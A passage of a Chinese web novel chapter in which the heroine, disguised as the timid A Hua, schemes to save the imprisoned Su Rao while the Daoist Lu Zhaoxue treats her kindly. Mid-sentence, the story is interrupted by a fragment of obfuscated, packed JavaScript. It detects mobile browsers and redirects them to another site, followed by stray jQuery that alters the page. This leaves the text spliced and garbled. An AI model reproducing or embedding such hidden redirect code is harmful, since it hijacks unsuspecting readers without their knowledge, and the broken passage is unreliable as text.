阿画手中正在剥的豆子“啪嗒”掉进盆里。这么快?陆昭雪和李捕头他们明明知道苏娆可能并非唯一主使,不是下了通缉令抓她,把她也当做同伙吗?怎么现在又把罪名安在阿娆一个人头上,还要即刻问斩? 她定了定神,若无其事地继续剥豆,脑中念头飞转。苏娆决不能死,她死了,她在这世上就是孤家寡人一个了。可是要救她,劫法场风险太大,最好的办法是让官府自己动摇判决——证明真凶另有其人。 她想到了那诡异的玉壶,和昨夜那只怪物,它们背后一定有一条更大的线。苏娆,很有可能是被推出去背锅的。 要引蛇出洞,就得让幕后之人再次行动,那壶就是关键。 阿画眼神沉静下来,心中有了决断。 剥完豆,她洗净手,端起竹匾准备挪到后院晾晒。脚踝的伤虽好了大半,但活动时仍会传来一阵隐痛,让她走起来不免有些蹒跚。 刚走到通往前院的门口,差点与进来的人撞个满怀。竹匾一晃,被一双手稳稳扶住。 “当心。” 是陆昭雪,他脸色依旧冷峻,眼下有淡淡的青影。 “陆、陆大哥。”阿画连忙站稳,低下头,声音细弱,“我……我去晾豆子。” 陆昭雪的目光在她微跛的右脚和手中的竹匾上扫过,没说什么,只伸手接过了匾。“我来。” 他动作自然,端着竹匾走到院中晾架旁,将豆子均匀铺开。阿画跟在他身后几步远的地方,看着他利落的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059291|194978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作,手指无意识地绞着围裙边。 晾好豆子,陆昭雪转过身,见她仍杵在原地,像只不知所措的小兔子。他想起那几日口中诡异的滋味,心头掠过一丝复杂,但看着眼前这张怯生生的脸,那点恼意又无法对她表露出来。 “身体如何了?”他问,语气比平日缓和些许。 “好、好多了,谢谢陆大哥的关心。”阿画小声回答,顿了顿,像是鼓起勇气,“陆大哥,你……你这几天是不是不舒服?都没见你出来吃饭。” 陆昭雪嘴角几不可察地绷紧了一瞬。他能说什么?说被那个红衣女妖下了药,尝了三天馊臭苦腥? “无事,处理些杂务。”他含糊带过,转而问道,“你之前说,掌柜的为你介绍了绣庄的活计?” “嗯,”阿画点头,声音低了些,“掌柜的说等脚好了再去,现在这样,怕给人家添麻烦。” “走路尚可,做些轻巧活路应当无妨。”陆昭雪沉声道,“总是闷在客栈也无益。若你愿意,明日我送你去绣庄看看。” “不、不用麻烦陆大哥,我再养两日,自己能去。”阿画急忙拒绝。 “我明日去府衙,正好与你说的绣庄相隔不远,顺路送你过去。”陆昭雪语气平淡,却不容拒绝。 听到府衙二字,阿画猛地抬头,眼中瞬间涌上水光,不是伪装,而是真切的心焦与一丝希望。“真的吗?陆大哥,苏娘子她……她虽然有时脾气急,但真的不是坏人,她不会害人性命的!” 她的激动让陆昭雪有些意外,也更印证了这姑娘的重情,他道:“证明苏娆无罪得需证据,我明日再去问问。” 阿画用力点头,眼泪不自觉地流出,她慌忙用手背去擦,声音哽咽:“我信陆大哥。” 陆昭雪看着她狼狈抹泪的样子,心中微软,从袖中取出一个油纸包,递过去,“路过东街,顺带的。枣泥糕,甜的。” 阿画愣住,看着那油纸包,没接。 “拿着。”陆昭雪将纸包塞进她手里,触到她指尖冰凉。“伤未好全,少沾凉水。缺什么,只管跟我说。” 说完,他不再停留,转身朝前堂走去,背影挺直,步伐微快。 阿画捧着尚带余温的油纸包,站在暮春微凉的院子里,望着他离去的方向。眼中的柔弱却渐渐褪去,取而代之的是一片幽深的思量。 这木头道士就跟茅坑里面的石头一样,固执得可笑,满口除妖正道,下手也够狠,已经重伤她两次了,苏娆更是被他亲手送进了大牢。一想到这儿,她心里那股火气就噌噌往上冒。 可他这会儿又摆出这副样子。送药、送东西、现在还要专程送她去绣庄。她扮阿画本是为了捉弄他,怎么现在好像有点不对劲了? 这关心太真,真得让她有点无措。就像你挽好袖子准备跟人打一架,对方却突然递过来一杯温水,还问你手疼不疼。拳头都不知该往哪儿落。 她咬了一口枣泥糕,甜腻在舌尖化开,却莫名尝出点不是滋味。这算什么?打一巴掌给个甜枣?可她又不是真的阿画,需要他这点施舍般的照顾? 江离撇撇嘴,把剩下半块糕塞进嘴里,用力嚼了嚼。算了,管他是真傻还是装傻,是真关心还是假模假样。戏还得演,局还得布,苏娆还得救。等他哪天发现“阿画”就是他恨得牙痒痒的妖女,表情一定精彩极了。 这么一想,心里那点莫名其妙的纠结顿时散了大半,反而生出些恶作剧般的期待。她拍拍手上的碎屑,转身朝厨房走去,脚步轻快了些,受伤的脚好像不怎么跛了。 让他关心去。她倒要看看,这出戏最后,到底是谁让谁更头疼。